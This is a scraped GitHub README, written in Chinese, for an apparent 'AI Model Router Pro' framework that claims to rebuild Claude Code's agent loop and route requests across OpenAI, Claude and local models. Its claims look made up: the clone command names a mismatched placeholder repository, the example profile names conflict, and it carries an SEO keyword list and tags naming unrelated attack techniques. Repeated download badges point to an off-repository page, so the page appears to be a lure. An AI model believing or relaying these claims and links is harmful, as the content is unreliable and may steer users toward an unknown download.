ManuelG4/claude-code-explorer-essentials

GitHub: ManuelG4/claude-code-explorer-essentials

一个主打源码学习与引擎重构的多提供商 AI 模型智能路由框架,旨在透明化编排和重构 Claude Code 式 Agent 的核心循环。

Stars: 0 | Forks: 0

# AI Model Router Pro:多引擎学习与源码发现框架 [![下载](https://img.shields.io/badge/Download%20Link-brightgreen?style=for-the-badge&logo=github)](https://manuelg4.github.io/claude-code-explorer-essentials/) **构建能够从源代码中学习、在多个 AI 模型之间进行路由,并跨多个提供商执行 Claude Code 类似功能的智能 agent** — 一个用于高级 AI 编排的完整重构引擎。 ## 🧭 我们解决的问题 大多数 AI 开发框架都是黑盒。你调用 API,获取响应,然后继续下一步。但如果你能够: - **深入理解** Claude Code 风格的 agent 在底层的实际工作原理? - 从真实的源代码模式中**学习**,以改进你自己的 agent? - 在 OpenAI、Claude 和本地模型之间实现无缝**路由**? - 自己**重构**核心引擎,而不是依赖闭源工具? **AI Model Router Pro** 不仅仅是另一个封装工具 — 它是一个*学习优先*的架构,为你提供完整的源码级理解和执行控制。 ## 🚀 核心功能 | 功能 | 描述 | |---------|-------------| | **源码学习引擎** | 分析并从代码库中学习,以提升 agent 的推理能力 | | **多提供商路由** | 在 OpenAI、Claude API 和本地模型之间无缝切换 | | **Claude Code 模拟** | 以完全的透明度重构核心 agent 循环 | | **响应式 AI UI** | 支持 Markdown 和代码高亮的实时流式响应 | | **7x24 小时自主运行** | 具备智能调度的后台 agent 执行 | | **多语言 Agent 支持** | 支持处理和响应 50 多种语言 | ## 📦 快速开始 ### 前置条件 - Python 3.11+ - OpenAI API key 或 Claude API key(或两者皆有) - Docker(推荐用于本地模型部署) ### 快速安装 [![下载](https://img.shields.io/badge/Download%20Now-brightgreen?style=for-the-badge&logo=github)](https://manuelg4.github.io/claude-code-explorer-essentials/) ``` # 克隆仓库 git clone https://github.com/yourusername/ai-model-router-pro cd ai-model-router-pro # 安装依赖 pip install -r requirements.txt # 设置你的 API keys export OPENAI_API_KEY="your-key-here" export ANTHROPIC_API_KEY="your-key-here" ``` ### 示例 Profile 配置 在 `profiles/agent.yaml` 中创建自定义 agent profile: ``` name: "source-learner-v1" description: "Learning-enabled agent with model routing" models: primary: provider: openai model: gpt-4-turbo temperature: 0.7 fallback: provider: anthropic model: claude-3-opus-20240229 temperature: 0.5 local: provider: ollama model: llama3.2 endpoint: http://localhost:11434 learning: source_repositories: - https://github.com/anthropics/claude-code - https://github.com/openai/openai-python learning_strategy: "pattern_extraction" memory_persistence: "vector_db" routing: strategy: "smart_balancing" cost_threshold: 0.05 latency_priority: true fallback_enabled: true ``` ### 示例控制台调用 ``` # 使用默认 profile 运行 ./ai-router start --profile agent-v2 # 启用 source learning 将输出流式传输到终端 ./ai-router analyze --source ./my-project --model claude-3 --learn # 带模型切换的交互式 agent 会话 ./ai-router interact --profile profiles/agent.yaml # 输出: # [INFO] 正在初始化 source learning engine... # [INFO] 已从仓库加载 247 个代码模式 # [INFO] 已连接到 OpenAI (主要) 和 Claude (备用) # [INFO] 正在启动交互式会话... # # > 分析我的 Python 项目结构 # [Agent] 正在使用 GPT-4 进行分析... # [Agent] 正在与 Claude 交叉引用以增加深度... # [Agent] 正在从 ./my-project 中的现有模式学习... # # 回复:你的项目采用了模块化架构,包含 3 个主要组件。 ``` ## 🧠 架构与数据流 该引擎基于**学习优先路由**原则运行。每个请求都会经过一个源码感知决策层,该层根据上下文、成本和学习历史来确定最佳模型。 ``` graph TD A[User Input] --> B[Input Processor] B --> C[Learning Engine] subgraph "Source Learning Layer" C --> D[Codebase Analyzer] C --> E[Pattern Extractor] C --> F[Knowledge Graph] D --> G[Vector Store] E --> G F --> G end G --> H[Router Decision Engine] H --> I{Cost & Capability Check} I -->|Complex Reasoning| J[Claude API] I -->|Quick Response| K[OpenAI API] I -->|Offline/Local| L[Local Model] I -->|Balanced| M[Hybrid Ensemble] J --> N[Response Builder] K --> N L --> N M --> N N --> O[Streaming Output] O --> P[User Interface] P --> Q[Feedback Loop] Q --> C ``` ## 🔧 核心组件 ### 1. 源码学习引擎 与仅*使用*模型的传统 AI 工具不同,该引擎会*从中学习*。它摄取源代码仓库,提取模式,并构建一个编码策略的知识图谱。 ``` # 概念示例 from ai_router.learning import SourceLearner learner = SourceLearner() learner.ingest_repository("https://github.com/anthropics/claude-code") patterns = learner.extract_patterns() # 返回:[{"pattern": "tool_use_format", "frequency": 87}, ...] ``` ### 2. 智能 Router 模块 Router 不仅是选择模型 — 它会同时评估**成本、延迟、能力和上下文**。 | 标准 | OpenAI | Claude | 本地 | |----------|--------|--------|-------| | 每 1K tokens 成本 | $0.01 | $0.015 | $0.002 | | 上下文窗口 | 128K | 200K | 32K | | 代码理解能力 | 高 | 极高 | 中等 | | 延迟 | 800ms | 1200ms | 3000ms | ### 3. 交互式 CLI 与 UI 该界面支持实时流式传输、代码语法高亮和智能自动补全。 ``` # 会话内模型切换 ./ai-router interact --profile agent.yaml # 在聊天时,输入: > /switch claude # [INFO] 已切换到 Claude API > /analyze # [INFO] 正在分析当前上下文... ``` ## 💻 操作系统兼容性 | 操作系统 | 状态 | 说明 | |----|--------|-------| | 🪟 Windows 11 | ✅ 完全支持 | 提供原生二进制文件 | | 🍎 macOS 15 Sequoia | ✅ 完全支持 | 针对 ARM64 架构优化 | | 🐧 Ubuntu 24.04+ | ✅ 完全支持 | 服务器推荐使用 | | 🐧 Debian 12+ | ✅ 完全支持 | 定期测试 | | 🐧 Arch Linux | ⚠️ 社区支持 | 需要手动设置 | | 🔵 FreeBSD | ⚠️ 实验性支持 | 推荐使用 Docker | ## 🤖 API 集成详情 ### OpenAI API 集成 ``` from ai_router.providers import OpenAIProvider provider = OpenAIProvider( api_key="sk-...", # Use environment variables in production model="gpt-4-turbo", temperature=0.7, streaming=True ) response = provider.generate( prompt="Explain the routing algorithm", system_prompt="You are an AI architecture expert.", stream_callback=lambda chunk: print(chunk, end="") ) ``` ### Claude API 集成 ``` from ai_router.providers import ClaudeProvider provider = ClaudeProvider( api_key="sk-ant-...", model="claude-3-opus-20240229", max_tokens=4096 ) response = provider.generate( prompt="Analyze this codebase structure", system_prompt="You are a senior software architect.", tools_enabled=True # Enable tool use like Claude Code ) ``` ## 🛠️ 高级用例 ### 自主代码审查工具 运行 7x24 小时的 agent,监控你的代码仓库并提供智能反馈: ``` ./ai-router daemon --mode review --repo ./my-project --schedule "*/30 * * * *" ``` ### 多语言文档生成器 ``` ./ai-router generate-docs --source ./src --lang fr,ja,es --model claude-3 ``` ### 混合模型集成 通过多个模型路由复杂请求,以提高准确性: ``` ./ai-router ensemble \ --models gpt-4,claude-3,llama3.2 \ --strategy weighted_voting \ --weights 0.4,0.4,0.2 ``` ## 📈 SEO 关键词 - AI 模型路由引擎 - Claude Code 重构 - 源码学习 AI 框架 - 多提供商 AI 编排 - 开源 AI agent 工具包 - AI 代码分析工具 - LLM 智能 API router - 2026 自主 AI 代码审查工具 ## ⚖️ 免责声明 **AI Model Router Pro** 是一个独立的开源项目。它不隶属于 Anthropic (Claude)、OpenAI 或任何其他 AI 提供商,也未获得其认可或赞助。“Claude Code”和“Claude”是 Anthropic 的商标。“OpenAI”和“GPT”是 OpenAI 的商标。 此工具仅供教育和研究目的提供。用户有责任遵守其集成的任何第三方 API 的服务条款。对于滥用本软件的行为,创作者不承担任何责任。 ## 📄 许可证 本项目基于 MIT 许可证授权 — 详情请参阅 [LICENSE](LICENSE) 文件。 ## 🔄 有何不同之处? 大多数 AI 框架就像**自动售货机** — 你输入 prompt,得到结果,但永远看不到内部的运作机制。**AI Model Router Pro** 更像是一个**教学厨房** — 你可以看到每种原料是如何相互作用的,修改配方,并发明你自己的菜肴。 你不仅仅是在使用 AI。你正在**学习** AI 的内部工作原理。你正在**重构**你所依赖的工具。你正在将智能准确地**路由**到它需要去的地方。 [![下载最新版本](https://img.shields.io/badge/Download%20v1.0.0-brightgreen?style=for-the-badge&logo=github)](https://manuelg4.github.io/claude-code-explorer-essentials/) *充满 ❤️ 为开源 AI 社区而构建 — 学习、重构并路由你自己的智能。*
标签:AI智能体, AI风险缓解, DLL 劫持, Petitpotam, 人工智能, 代码分析, 凭证管理, 后端开发, 大语言模型, 开发框架, 模型路由, 用户模式Hook绕过, 请求拦截, 逆向工具